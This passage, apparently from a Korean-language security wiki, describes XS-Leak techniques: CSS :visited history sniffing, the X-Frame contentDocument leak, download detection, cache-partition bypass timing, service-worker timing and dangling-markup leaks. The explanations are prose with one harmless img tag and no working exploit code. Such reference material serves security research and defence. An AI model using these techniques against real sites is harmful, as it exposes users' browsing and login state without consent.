  • HTMLMediaElement: ์ด ์š”์†Œ๋Š” ๋ฏธ๋””์–ด์˜ duration ๋ฐ buffered ์‹œ๊ฐ„์„ ๋…ธ์ถœํ•˜๋ฉฐ, API๋ฅผ ํ†ตํ•ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. HTMLMediaElement์— ๋Œ€ํ•ด ๋” ์ฝ๊ธฐ
  • HTMLVideoElement: videoHeight ๋ฐ videoWidth๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€ ๋ธŒ๋ผ์šฐ์ €์—์„œ๋Š” webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, webkitDecodedFrameCount์™€ ๊ฐ™์€ ์ถ”๊ฐ€ ์†์„ฑ์ด ์ œ๊ณต๋˜์–ด ๋ฏธ๋””์–ด ์ฝ˜ํ…์ธ ์— ๋Œ€ํ•œ ๋” ๊นŠ์ด ์žˆ๋Š” ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. HTMLVideoElement์— ๋Œ€ํ•ด ๋” ์ฝ๊ธฐ
  • getVideoPlaybackQuality(): ์ด ํ•จ์ˆ˜๋Š” ๋น„๋””์˜ค ์žฌ์ƒ ํ’ˆ์งˆ์— ๋Œ€ํ•œ ์„ธ๋ถ€ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, totalVideoFrames๋ฅผ ํฌํ•จํ•˜์—ฌ ์ฒ˜๋ฆฌ๋œ ๋น„๋””์˜ค ๋ฐ์ดํ„ฐ์˜ ์–‘์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. getVideoPlaybackQuality()์— ๋Œ€ํ•ด ๋” ์ฝ๊ธฐ
  • HTMLImageElement: ์ด ์š”์†Œ๋Š” ์ด๋ฏธ์ง€์˜ height ๋ฐ width๋ฅผ ์œ ์ถœํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋ฏธ์ง€๊ฐ€ ์œ ํšจํ•˜์ง€ ์•Š์€ ๊ฒฝ์šฐ ์ด๋Ÿฌํ•œ ์†์„ฑ์€ 0์„ ๋ฐ˜ํ™˜ํ•˜๋ฉฐ, image.decode() ํ•จ์ˆ˜๋Š” ๊ฑฐ๋ถ€๋˜์–ด ์ด๋ฏธ์ง€๋ฅผ ์ œ๋Œ€๋กœ ๋กœ๋“œํ•˜์ง€ ๋ชปํ–ˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. HTMLImageElement์— ๋Œ€ํ•ด ๋” ์ฝ๊ธฐ

CSS Property

์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์‚ฌ์šฉ์ž์˜ ์ƒํƒœ์— ๋”ฐ๋ผ ์›น์‚ฌ์ดํŠธ ์Šคํƒ€์ผ์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž ํŽ˜์ด์ง€์— HTML ๋งํฌ ์š”์†Œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ต์ฐจ ์ถœ์ฒ˜ CSS ํŒŒ์ผ์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ทœ์น™์ด ๊ณต๊ฒฉ์ž ํŽ˜์ด์ง€์— ์ ์šฉ๋ฉ๋‹ˆ๋‹ค. ํŽ˜์ด์ง€๊ฐ€ ์ด๋Ÿฌํ•œ ๊ทœ์น™์„ ๋™์ ์œผ๋กœ ๋ณ€๊ฒฝํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž ์ƒํƒœ์— ๋”ฐ๋ผ ์ด๋Ÿฌํ•œ ์ฐจ์ด๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์œ ์ถœ ๊ธฐ์ˆ ๋กœ์„œ ๊ณต๊ฒฉ์ž๋Š” window.getComputedStyle ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŠน์ • HTML ์š”์†Œ์˜ CSS ์†์„ฑ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ, ๊ณต๊ฒฉ์ž๋Š” ์˜ํ–ฅ์„ ๋ฐ›๋Š” ์š”์†Œ์™€ ์†์„ฑ ์ด๋ฆ„์ด ์•Œ๋ ค์ ธ ์žˆ๋‹ค๋ฉด ์ž„์˜์˜ CSS ์†์„ฑ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CSS History

Tip

์ด๊ฒƒ์— ๋”ฐ๋ฅด๋ฉด, ์ด ๋ฐฉ๋ฒ•์€ ํ—ค๋“œ๋ฆฌ์Šค ํฌ๋กฌ์—์„œ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

CSS :visited ์„ ํƒ์ž๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ด์ „์— ๋ฐฉ๋ฌธํ•œ URL์„ ๋‹ค๋ฅด๊ฒŒ ์Šคํƒ€์ผ๋งํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๊ณผ๊ฑฐ์—๋Š” getComputedStyle() ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋Ÿฌํ•œ ์Šคํƒ€์ผ ์ฐจ์ด๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํ˜„๋Œ€ ๋ธŒ๋ผ์šฐ์ €๋Š” ์ด ๋ฉ”์„œ๋“œ๊ฐ€ ๋งํฌ์˜ ์ƒํƒœ๋ฅผ ๋…ธ์ถœํ•˜์ง€ ์•Š๋„๋ก ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ๊ตฌํ˜„ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์กฐ์น˜์—๋Š” ๋งํฌ๊ฐ€ ๋ฐฉ๋ฌธ๋œ ๊ฒƒ์ฒ˜๋Ÿผ ํ•ญ์ƒ ๊ณ„์‚ฐ๋œ ์Šคํƒ€์ผ์„ ๋ฐ˜ํ™˜ํ•˜๊ณ  :visited ์„ ํƒ์ž๋กœ ์ ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์Šคํƒ€์ผ์„ ์ œํ•œํ•˜๋Š” ๊ฒƒ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ์ œํ•œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ๋งํฌ์˜ ๋ฐฉ๋ฌธ ์ƒํƒœ๋ฅผ ๊ฐ„์ ‘์ ์œผ๋กœ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•œ ๊ฐ€์ง€ ๊ธฐ์ˆ ์€ ์‚ฌ์šฉ์ž๊ฐ€ CSS์— ์˜ํ–ฅ์„ ๋ฐ›๋Š” ์˜์—ญ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜๋„๋ก ์œ ๋„ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ํŠนํžˆ mix-blend-mode ์†์„ฑ์„ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ์†์„ฑ์€ ์š”์†Œ์™€ ๋ฐฐ๊ฒฝ์„ ํ˜ผํ•ฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ์— ๋”ฐ๋ผ ๋ฐฉ๋ฌธ ์ƒํƒœ๋ฅผ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ, ๋งํฌ์˜ ๋ Œ๋”๋ง ํƒ€์ด๋ฐ์„ ์•…์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ์—†์ด ๊ฐ์ง€๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋ธŒ๋ผ์šฐ์ €๋Š” ๋ฐฉ๋ฌธํ•œ ๋งํฌ์™€ ๋ฐฉ๋ฌธํ•˜์ง€ ์•Š์€ ๋งํฌ๋ฅผ ๋‹ค๋ฅด๊ฒŒ ๋ Œ๋”๋งํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์ด๋Š” ๋ Œ๋”๋ง์—์„œ ์ธก์ • ๊ฐ€๋Šฅํ•œ ์‹œ๊ฐ„ ์ฐจ์ด๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๋Ÿฌ ๋งํฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํƒ€์ด๋ฐ ์ฐจ์ด๋ฅผ ์ฆํญ์‹œํ‚ค๋Š” ์ด ๊ธฐ์ˆ ์„ ๋ณด์—ฌ์ฃผ๋Š” ๊ฐœ๋… ์ฆ๋ช…(PoC)์ด ํฌ๋กฌ ๋ฒ„๊ทธ ๋ณด๊ณ ์„œ์— ์–ธ๊ธ‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ด ์†์„ฑ๊ณผ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋ฌธ์„œ ํŽ˜์ด์ง€๋ฅผ ๋ฐฉ๋ฌธํ•˜์‹ญ์‹œ์˜ค:

ContentDocument X-Frame Leak

ํฌ๋กฌ์—์„œ X-Frame-Options ํ—ค๋”๊ฐ€ โ€œdenyโ€ ๋˜๋Š” โ€œsame-originโ€œ์œผ๋กœ ์„ค์ •๋œ ํŽ˜์ด์ง€๊ฐ€ ๊ฐ์ฒด๋กœ ํฌํ•จ๋˜๋ฉด ์˜ค๋ฅ˜ ํŽ˜์ด์ง€๊ฐ€ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค. ํฌ๋กฌ์€ ์ด ๊ฐ์ฒด์˜ contentDocument ์†์„ฑ์— ๋Œ€ํ•ด ๋นˆ ๋ฌธ์„œ ๊ฐ์ฒด(์ฆ‰, null์ด ์•„๋‹˜)๋ฅผ ๊ณ ์œ ํ•˜๊ฒŒ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” iframe์ด๋‚˜ ๋‹ค๋ฅธ ๋ธŒ๋ผ์šฐ์ €์™€๋Š” ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๋นˆ ๋ฌธ์„œ๋ฅผ ๊ฐ์ง€ํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ ์ƒํƒœ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŠนํžˆ ๊ฐœ๋ฐœ์ž๊ฐ€ X-Frame-Options ํ—ค๋”๋ฅผ ์ผ๊ด€๋˜๊ฒŒ ์„ค์ •ํ•˜์ง€ ์•Š๊ณ  ์˜ค๋ฅ˜ ํŽ˜์ด์ง€๋ฅผ ๊ฐ„๊ณผํ•˜๋Š” ๊ฒฝ์šฐ ๋”์šฑ ๊ทธ๋ ‡์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์œ ์ถœ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋ณด์•ˆ ํ—ค๋”์˜ ์ธ์‹๊ณผ ์ผ๊ด€๋œ ์ ์šฉ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

Download Detection

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: Headers
  • More info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
  • Summary: ๊ณต๊ฒฉ์ž๋Š” iframe์„ ํ™œ์šฉํ•˜์—ฌ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, iframe์˜ ์ง€์†์ ์ธ ์ ‘๊ทผ ๊ฐ€๋Šฅ์„ฑ์€ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ์ด๋ฃจ์–ด์กŒ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • Code Example: https://xsleaks.dev/docs/attacks/navigations/#download-bar

Content-Disposition ํ—ค๋”, ํŠนํžˆ Content-Disposition: attachment๋Š” ๋ธŒ๋ผ์šฐ์ €์— ์ฝ˜ํ…์ธ ๋ฅผ ์ธ๋ผ์ธ์œผ๋กœ ํ‘œ์‹œํ•˜๋Š” ๋Œ€์‹  ๋‹ค์šด๋กœ๋“œํ•˜๋„๋ก ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด ๋™์ž‘์€ ์‚ฌ์šฉ์ž๊ฐ€ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ๋ฅผ ์œ ๋ฐœํ•˜๋Š” ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ๊ฐ์ง€ํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํฌ๋กœ๋ฏธ์›€ ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ๋Š” ์ด ๋‹ค์šด๋กœ๋“œ ๋™์ž‘์„ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•œ ๋ช‡ ๊ฐ€์ง€ ๊ธฐ์ˆ ์ด ์žˆ์Šต๋‹ˆ๋‹ค:

  1. ๋‹ค์šด๋กœ๋“œ ๋ฐ” ๋ชจ๋‹ˆํ„ฐ๋ง:
  • ํฌ๋กœ๋ฏธ์›€ ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ํŒŒ์ผ์ด ๋‹ค์šด๋กœ๋“œ๋˜๋ฉด ๋ธŒ๋ผ์šฐ์ € ์ฐฝ ํ•˜๋‹จ์— ๋‹ค์šด๋กœ๋“œ ๋ฐ”๊ฐ€ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค.
  • ์ฐฝ ๋†’์ด์˜ ๋ณ€ํ™”๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ ๋‹ค์šด๋กœ๋“œ ๋ฐ”์˜ ๋‚˜ํƒ€๋‚จ์„ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  1. iframe์„ ํ†ตํ•œ ๋‹ค์šด๋กœ๋“œ ํƒ์ƒ‰:
  • ํŽ˜์ด์ง€๊ฐ€ Content-Disposition: attachment ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ๋ฅผ ์œ ๋ฐœํ•  ๋•Œ ํƒ์ƒ‰ ์ด๋ฒคํŠธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ์ฝ˜ํ…์ธ ๋ฅผ iframe์— ๋กœ๋“œํ•˜๊ณ  ํƒ์ƒ‰ ์ด๋ฒคํŠธ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ ์ฝ˜ํ…์ธ  ๋ฐฐ์น˜๊ฐ€ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ๋ฅผ ์œ ๋ฐœํ•˜๋Š”์ง€(ํƒ์ƒ‰ ์—†์Œ) ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  1. iframe ์—†์ด ๋‹ค์šด๋กœ๋“œ ํƒ์ƒ‰:
  • iframe ๊ธฐ์ˆ ๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, ์ด ๋ฐฉ๋ฒ•์€ iframe ๋Œ€์‹  window.open์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ์ƒˆ๋กœ ์—ด๋ฆฐ ์ฐฝ์—์„œ ํƒ์ƒ‰ ์ด๋ฒคํŠธ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ๊ฐ€ ์œ ๋ฐœ๋˜์—ˆ๋Š”์ง€(ํƒ์ƒ‰ ์—†์Œ) ๋˜๋Š” ์ฝ˜ํ…์ธ ๊ฐ€ ์ธ๋ผ์ธ์œผ๋กœ ํ‘œ์‹œ๋˜์—ˆ๋Š”์ง€(ํƒ์ƒ‰ ๋ฐœ์ƒ)๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž๋งŒ ์ด๋Ÿฌํ•œ ๋‹ค์šด๋กœ๋“œ๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์šด๋กœ๋“œ ์š”์ฒญ์— ๋Œ€ํ•œ ๋ธŒ๋ผ์šฐ์ €์˜ ์‘๋‹ต์„ ๊ธฐ๋ฐ˜์œผ๋กœ ์‚ฌ์šฉ์ž์˜ ์ธ์ฆ ์ƒํƒœ๋ฅผ ๊ฐ„์ ‘์ ์œผ๋กœ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Partitioned HTTP Cache Bypass

Warning

์ด ๊ธฐ์ˆ ์ด ํฅ๋ฏธ๋กœ์šด ์ด์œ ๋Š”: ํฌ๋กฌ์€ ์ด์ œ ์บ์‹œ ํŒŒํ‹ฐ์…”๋‹์„ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ, ์ƒˆ๋กœ ์—ด๋ฆฐ ํŽ˜์ด์ง€์˜ ์บ์‹œ ํ‚ค๋Š”: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ngrok ํŽ˜์ด์ง€๋ฅผ ์—ด๊ณ  fetch๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์บ์‹œ ํ‚ค๋Š”: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. ์บ์‹œ ํ‚ค๊ฐ€ ๋‹ค๋ฅด๋ฏ€๋กœ ์บ์‹œ๋ฅผ ๊ณต์œ ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ ๋” ๋งŽ์€ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ์บ์‹œ ํŒŒํ‹ฐ์…”๋‹์„ ํ†ตํ•œ ๋ณด์•ˆ ๋ฐ ๊ฐœ์ธ ์ •๋ณด ๋ณดํ˜ธ ํ™•๋ณด
(์—ฌ๊ธฐ์˜ ๋Œ“๊ธ€)

์‚ฌ์ดํŠธ example.com์ด *.example.com/resource์—์„œ ๋ฆฌ์†Œ์Šค๋ฅผ ํฌํ•จํ•˜๋ฉด ํ•ด๋‹น ๋ฆฌ์†Œ์Šค๋Š” ์ตœ์ƒ์œ„ ํƒ์ƒ‰์„ ํ†ตํ•ด ์ง์ ‘ ์š”์ฒญ๋œ ๊ฒƒ์ฒ˜๋Ÿผ ๋™์ผํ•œ ์บ์‹ฑ ํ‚ค๋ฅผ ๊ฐ–์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์บ์‹ฑ ํ‚ค๊ฐ€ ์ตœ์ƒ์œ„ eTLD+1 ๋ฐ ํ”„๋ ˆ์ž„ _eTLD+1_๋กœ ๊ตฌ์„ฑ๋˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

์บ์‹œ์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์ด ๋ฆฌ์†Œ์Šค๋ฅผ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ๋ณด๋‹ค ๋น ๋ฅด๊ธฐ ๋•Œ๋ฌธ์—, ํŽ˜์ด์ง€์˜ ์œ„์น˜๋ฅผ ๋ณ€๊ฒฝํ•˜๊ณ  20ms ํ›„์— ์ทจ์†Œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ:). ์›๋ณธ์ด ์ค‘์ง€ ํ›„ ๋ณ€๊ฒฝ๋˜์—ˆ๋‹ค๋ฉด, ๋ฆฌ์†Œ์Šค๊ฐ€ ์บ์‹œ๋˜์—ˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.
๋˜๋Š” ์ž ์žฌ์ ์œผ๋กœ ์บ์‹œ๋œ ํŽ˜์ด์ง€์— fetch๋ฅผ ๋ณด๋‚ด๊ณ  ์†Œ์š” ์‹œ๊ฐ„์„ ์ธก์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Manual Redirect

Fetch with AbortController

fetch ๋ฐ _setTimeout_์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฆฌ์†Œ์Šค๊ฐ€ ์บ์‹œ๋˜์—ˆ๋Š”์ง€ ๊ฐ์ง€ํ•˜๊ณ  ํŠน์ • ๋ฆฌ์†Œ์Šค๋ฅผ ๋ธŒ๋ผ์šฐ์ € ์บ์‹œ์—์„œ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, ์ด ๊ณผ์ •์€ ์ƒˆ๋กœ์šด ์ฝ˜ํ…์ธ ๋ฅผ ์บ์‹œํ•˜์ง€ ์•Š๊ณ  ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

Script Pollution

  • Inclusion Methods: HTML Elements (script)
  • Detectable Difference: Page Content
  • More info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
  • Summary: ๋‚ด์žฅ ํ•จ์ˆ˜๋ฅผ ๋ฎ์–ด์“ฐ๊ณ  ๊ทธ ์ธ์ˆ˜๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ๊ต์ฐจ ์ถœ์ฒ˜ ์Šคํฌ๋ฆฝํŠธ์—์„œ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค(์ง์ ‘ ์ฝ์„ ์ˆ˜ ์—†์Œ). ์ด๋Š” ๊ท€์ค‘ํ•œ ์ •๋ณด๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Code Example: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

Service Workers

์ฃผ์–ด์ง„ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ๊ณต๊ฒฉ์ž๋Š” ์ž์‹ ์˜ ๋„๋ฉ”์ธ ์ค‘ ํ•˜๋‚˜์ธ โ€œattacker.comโ€ ๋‚ด์—์„œ ์„œ๋น„์Šค ์›Œ์ปค๋ฅผ ๋“ฑ๋กํ•˜๋Š” ์ฃผ๋„๊ถŒ์„ ์žก์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์œผ๋กœ, ๊ณต๊ฒฉ์ž๋Š” ๋ฉ”์ธ ๋ฌธ์„œ์—์„œ ๋Œ€์ƒ ์›น์‚ฌ์ดํŠธ์˜ ์ƒˆ ์ฐฝ์„ ์—ด๊ณ  ์„œ๋น„์Šค ์›Œ์ปค์—๊ฒŒ ํƒ€์ด๋จธ๋ฅผ ์‹œ์ž‘ํ•˜๋„๋ก ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค. ์ƒˆ ์ฐฝ์ด ๋กœ๋“œ๋˜๊ธฐ ์‹œ์ž‘ํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์ด์ „ ๋‹จ๊ณ„์—์„œ ์–ป์€ ์ฐธ์กฐ๋ฅผ ์„œ๋น„์Šค ์›Œ์ปค๊ฐ€ ๊ด€๋ฆฌํ•˜๋Š” ํŽ˜์ด์ง€๋กœ ํƒ์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.

์ด์ „ ๋‹จ๊ณ„์—์„œ ์‹œ์ž‘๋œ ์š”์ฒญ์ด ๋„์ฐฉํ•˜๋ฉด ์„œ๋น„์Šค ์›Œ์ปค๋Š” 204 (No Content) ์ƒํƒœ ์ฝ”๋“œ๋กœ ์‘๋‹ตํ•˜์—ฌ ํƒ์ƒ‰ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค. ์ด ์‹œ์ ์—์„œ ์„œ๋น„์Šค ์›Œ์ปค๋Š” ์ด์ „ ๋‹จ๊ณ„์—์„œ ์‹œ์ž‘๋œ ํƒ€์ด๋จธ์˜ ์ธก์ •์„ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ธก์ •์น˜๋Š” ํƒ์ƒ‰ ํ”„๋กœ์„ธ์Šค์—์„œ ์ง€์—ฐ์„ ์ดˆ๋ž˜ํ•˜๋Š” JavaScript์˜ ์ง€์† ์‹œ๊ฐ„์— ์˜ํ–ฅ์„ ๋ฐ›์Šต๋‹ˆ๋‹ค.

Warning

์‹คํ–‰ ํƒ€์ด๋ฐ์—์„œ๋Š” ๋„คํŠธ์›Œํฌ ์š”์ธ์„ ์ œ๊ฑฐํ•˜์—ฌ ๋” ์ •ํ™•ํ•œ ์ธก์ •๊ฐ’์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๊ธฐ ์ „์— ํŽ˜์ด์ง€์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋ฅผ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.

Fetch Timing

Cross-Window Timing

With HTML or Re Injection

์—ฌ๊ธฐ์—์„œ๋Š” ๊ต์ฐจ ์ถœ์ฒ˜ HTML HTML ์ฝ˜ํ…์ธ ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์ •๋ณด๋ฅผ ์œ ์ถœํ•˜๋Š” ๊ธฐ์ˆ ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์€ ์–ด๋–ค ์ด์œ ๋กœ๋“  HTML์„ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ JS ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ์— ํฅ๋ฏธ๋กญ์Šต๋‹ˆ๋‹ค.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

๋น„๋ฐ€ ์ด์ „์— ์ฝ˜ํ…์ธ ๋ฅผ ์œ ์ถœํ•ด์•ผ ํ•˜๊ณ  HTML์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ์ผ๋ฐ˜์ ์ธ dangling markup ๊ธฐ์ˆ ์„ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ ์–ด๋–ค ์ด์œ ๋กœ๋“  ๋ฌธ์ž ๋‹จ์œ„๋กœ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ(์•„๋งˆ๋„ ํ†ต์‹ ์ด ์บ์‹œ ์ ์ค‘์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง€๊ธฐ ๋•Œ๋ฌธ) ์ด ํŠธ๋ฆญ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HTML์˜ ์ด๋ฏธ์ง€๋Š” โ€œloadingโ€ ์†์„ฑ์ด ์žˆ์œผ๋ฉฐ, ๊ทธ ๊ฐ’์€ โ€œlazyโ€œ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ์ด๋ฏธ์ง€๋Š” ํŽ˜์ด์ง€๊ฐ€ ๋กœ๋“œ๋˜๋Š” ๋™์•ˆ์ด ์•„๋‹ˆ๋ผ ๋ณผ ๋•Œ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค:

<img src=/something loading=lazy >

